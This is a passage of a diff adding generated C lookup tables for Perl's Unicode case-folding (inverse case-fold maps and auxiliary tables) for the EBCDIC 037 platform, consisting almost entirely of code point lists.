+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E9E,
+	0x1E9F,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FBC,
+	0x1FBD,
+	0x1FC3,
+	0x1FC4,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FF3,
+	0x1FF4,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xFB05,
+	0xFB06,
+	0xFB07,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	IVCF_0 = 0,
+	IVCF_use_AUX_TABLE_1 = -1,
+	IVCF_use_AUX_TABLE_2 = -2,
+	IVCF_use_AUX_TABLE_3 = -3,
+	IVCF_use_AUX_TABLE_4 = -4,
+	IVCF_use_AUX_TABLE_5 = -5,
+	IVCF_use_AUX_TABLE_6 = -6,
+	IVCF_use_AUX_TABLE_7 = -7,
+	IVCF_use_AUX_TABLE_8 = -8,
+	IVCF_use_AUX_TABLE_9 = -9,
+	IVCF_use_AUX_TABLE_10 = -10,
+	IVCF_use_AUX_TABLE_11 = -11,
+	IVCF_use_AUX_TABLE_12 = -12,
+	IVCF_use_AUX_TABLE_13 = -13,
+	IVCF_use_AUX_TABLE_14 = -14,
+	IVCF_use_AUX_TABLE_15 = -15,
+	IVCF_use_AUX_TABLE_16 = -16,
+	IVCF_use_AUX_TABLE_17 = -17,
+	IVCF_use_AUX_TABLE_18 = -18,
+	IVCF_use_AUX_TABLE_19 = -19,
+	IVCF_use_AUX_TABLE_20 = -20,
+	IVCF_use_AUX_TABLE_21 = -21,
+	IVCF_use_AUX_TABLE_22 = -22,
+	IVCF_use_AUX_TABLE_23 = -23,
+	IVCF_use_AUX_TABLE_24 = -24,
+	IVCF_use_AUX_TABLE_25 = -25,
+	IVCF_use_AUX_TABLE_26 = -26,
+	IVCF_use_AUX_TABLE_27 = -27
+} IVCF_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_IVCF_AUX_TABLES
+
+static const unsigned int IVCF_AUX_TABLE_1[] = {
+	0x67,
+	0x212B
+};
+
+static const unsigned int IVCF_AUX_TABLE_2[] = {
+	0xD2,
+	0x212A
+};
+
+static const unsigned int IVCF_AUX_TABLE_3[] = {
+	0xE2,
+	0x17F
+};
+
+static const unsigned int IVCF_AUX_TABLE_4[] = {
+	0x1C4,
+	0x1C5
+};
+
+static const unsigned int IVCF_AUX_TABLE_5[] = {
+	0x1C7,
+	0x1C8
+};
+
+static const unsigned int IVCF_AUX_TABLE_6[] = {
+	0x1CA,
+	0x1CB
+};
+
+static const unsigned int IVCF_AUX_TABLE_7[] = {
+	0x1F1,
+	0x1F2
+};
+
+static const unsigned int IVCF_AUX_TABLE_8[] = {
+	0x392,
+	0x3D0
+};
+
+static const unsigned int IVCF_AUX_TABLE_9[] = {
+	0x395,
+	0x3F5
+};
+
+static const unsigned int IVCF_AUX_TABLE_10[] = {
+	0x398,
+	0x3D1,
+	0x3F4
+};
+
+static const unsigned int IVCF_AUX_TABLE_11[] = {
+	0x345,
+	0x399,
+	0x1FBE
+};
+
+static const unsigned int IVCF_AUX_TABLE_12[] = {
+	0x39A,
+	0x3F0
+};
+
+static const unsigned int IVCF_AUX_TABLE_13[] = {
+	0xB5,
+	0x39C
+};
+
+static const unsigned int IVCF_AUX_TABLE_14[] = {
+	0x3A0,
+	0x3D6
+};
+
+static const unsigned int IVCF_AUX_TABLE_15[] = {
+	0x3A1,
+	0x3F1
+};
+
+static const unsigned int IVCF_AUX_TABLE_16[] = {
+	0x3A3,
+	0x3C2
+};
+
+static const unsigned int IVCF_AUX_TABLE_17[] = {
+	0x3A6,
+	0x3D5
+};
+
+static const unsigned int IVCF_AUX_TABLE_18[] = {
+	0x3A9,
+	0x2126
+};
+
+static const unsigned int IVCF_AUX_TABLE_19[] = {
+	0x412,
+	0x1C80
+};
+
+static const unsigned int IVCF_AUX_TABLE_20[] = {
+	0x414,
+	0x1C81
+};
+
+static const unsigned int IVCF_AUX_TABLE_21[] = {
+	0x41E,
+	0x1C82
+};
+
+static const unsigned int IVCF_AUX_TABLE_22[] = {
+	0x421,
+	0x1C83
+};
+
+static const unsigned int IVCF_AUX_TABLE_23[] = {
+	0x422,
+	0x1C84,
+	0x1C85
+};
+
+static const unsigned int IVCF_AUX_TABLE_24[] = {
+	0x42A,
+	0x1C86
+};
+
+static const unsigned int IVCF_AUX_TABLE_25[] = {
+	0x462,
+	0x1C87
+};
+
+static const unsigned int IVCF_AUX_TABLE_26[] = {
+	0x1E60,
+	0x1E9B
+};
+
+static const unsigned int IVCF_AUX_TABLE_27[] = {
+	0x1C88,
+	0xA64A
+};
+
+static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	IVCF_AUX_TABLE_1,
+	IVCF_AUX_TABLE_2,
+	IVCF_AUX_TABLE_3,
+	IVCF_AUX_TABLE_4,
+	IVCF_AUX_TABLE_5,
+	IVCF_AUX_TABLE_6,
+	IVCF_AUX_TABLE_7,
+	IVCF_AUX_TABLE_8,
+	IVCF_AUX_TABLE_9,
+	IVCF_AUX_TABLE_10,
+	IVCF_AUX_TABLE_11,
+	IVCF_AUX_TABLE_12,
+	IVCF_AUX_TABLE_13,
+	IVCF_AUX_TABLE_14,
+	IVCF_AUX_TABLE_15,
+	IVCF_AUX_TABLE_16,
+	IVCF_AUX_TABLE_17,
+	IVCF_AUX_TABLE_18,
+	IVCF_AUX_TABLE_19,
+	IVCF_AUX_TABLE_20,
+	IVCF_AUX_TABLE_21,
+	IVCF_AUX_TABLE_22,
+	IVCF_AUX_TABLE_23,
+	IVCF_AUX_TABLE_24,
+	IVCF_AUX_TABLE_25,
+	IVCF_AUX_TABLE_26,
+	IVCF_AUX_TABLE_27
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 IVCF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* IVCF_AUX_TABLE_1 */,
+	2	/* IVCF_AUX_TABLE_2 */,
+	2	/* IVCF_AUX_TABLE_3 */,
+	2	/* IVCF_AUX_TABLE_4 */,
+	2	/* IVCF_AUX_TABLE_5 */,
+	2	/* IVCF_AUX_TABLE_6 */,
+	2	/* IVCF_AUX_TABLE_7 */,
+	2	/* IVCF_AUX_TABLE_8 */,
+	2	/* IVCF_AUX_TABLE_9 */,
+	3	/* IVCF_AUX_TABLE_10 */,
+	3	/* IVCF_AUX_TABLE_11 */,
+	2	/* IVCF_AUX_TABLE_12 */,
+	2	/* IVCF_AUX_TABLE_13 */,
+	2	/* IVCF_AUX_TABLE_14 */,
+	2	/* IVCF_AUX_TABLE_15 */,
+	2	/* IVCF_AUX_TABLE_16 */,
+	2	/* IVCF_AUX_TABLE_17 */,
+	2	/* IVCF_AUX_TABLE_18 */,
+	2	/* IVCF_AUX_TABLE_19 */,
+	2	/* IVCF_AUX_TABLE_20 */,
+	2	/* IVCF_AUX_TABLE_21 */,
+	2	/* IVCF_AUX_TABLE_22 */,
+	3	/* IVCF_AUX_TABLE_23 */,
+	2	/* IVCF_AUX_TABLE_24 */,
+	2	/* IVCF_AUX_TABLE_25 */,
+	2	/* IVCF_AUX_TABLE_26 */,
+	2	/* IVCF_AUX_TABLE_27 */
+};
+
+static const int _Perl_IVCF_invmap[] = { /* for EBCDIC 037 */
+	0,
+	0xC0,
+	IVCF_use_AUX_TABLE_1,
+	0xC6,
+	0,
+	0xC6,
+	0x1E9E,
+	0,
+	0xD8,
+	0,
+	0x41,
+	0,
+	0xC6,
+	0xD8,
+	0,
+	0x41,
+	IVCF_use_AUX_TABLE_2,
+	0x4C,
+	0,
+	0xC6,
+	0,
+	IVCF_use_AUX_TABLE_3,
+	0x54,
+	0,
+	0xC6,
+	0,
+	0xD8,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	IVCF_use_AUX_TABLE_4,
+	0,
+	IVCF_use_AUX_TABLE_5,
+	0,
+	IVCF_use_AUX_TABLE_6,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	0,
+	IVCF_use_AUX_TABLE_7,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	0x1FD3,
+	0,
 	0x386,
-	0x387,
 	0x388,
-	0x38B,
+	0x1FE3,
+	0x391,
+	IVCF_use_AUX_TABLE_8,
+	0x393,
+	IVCF_use_AUX_TABLE_9,
+	0x396,
+	IVCF_use_AUX_TABLE_10,
+	IVCF_use_AUX_TABLE_11,
+	IVCF_use_AUX_TABLE_12,
+	0x39B,
+	IVCF_use_AUX_TABLE_13,
+	0x39D,
+	IVCF_use_AUX_TABLE_14,
+	IVCF_use_AUX_TABLE_15,
+	0,
+	IVCF_use_AUX_TABLE_16,
+	0x3A4,
+	IVCF_use_AUX_TABLE_17,
+	0x3A7,
+	IVCF_use_AUX_TABLE_18,
+	0x3AA,
 	0x38C,
-	0x38D,
 	0x38E,
-	0x3A2,
-	0x3A3,
-	0x3F6,
+	0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0,
+	0x3F9,
+	0x37F,
+	0,
 	0x3F7,
-	0x482,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	IVCF_use_AUX_TABLE_19,
+	0x413,
+	IVCF_use_AUX_TABLE_20,
+	0x415,
+	IVCF_use_AUX_TABLE_21,
+	0x41F,
+	IVCF_use_AUX_TABLE_22,
+	IVCF_use_AUX_TABLE_23,
+	0x423,
+	IVCF_use_AUX_TABLE_24,
+	0x42B,
+	0x400,
+	0,
+	0x460,
+	0,
+	IVCF_use_AUX_TABLE_25,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
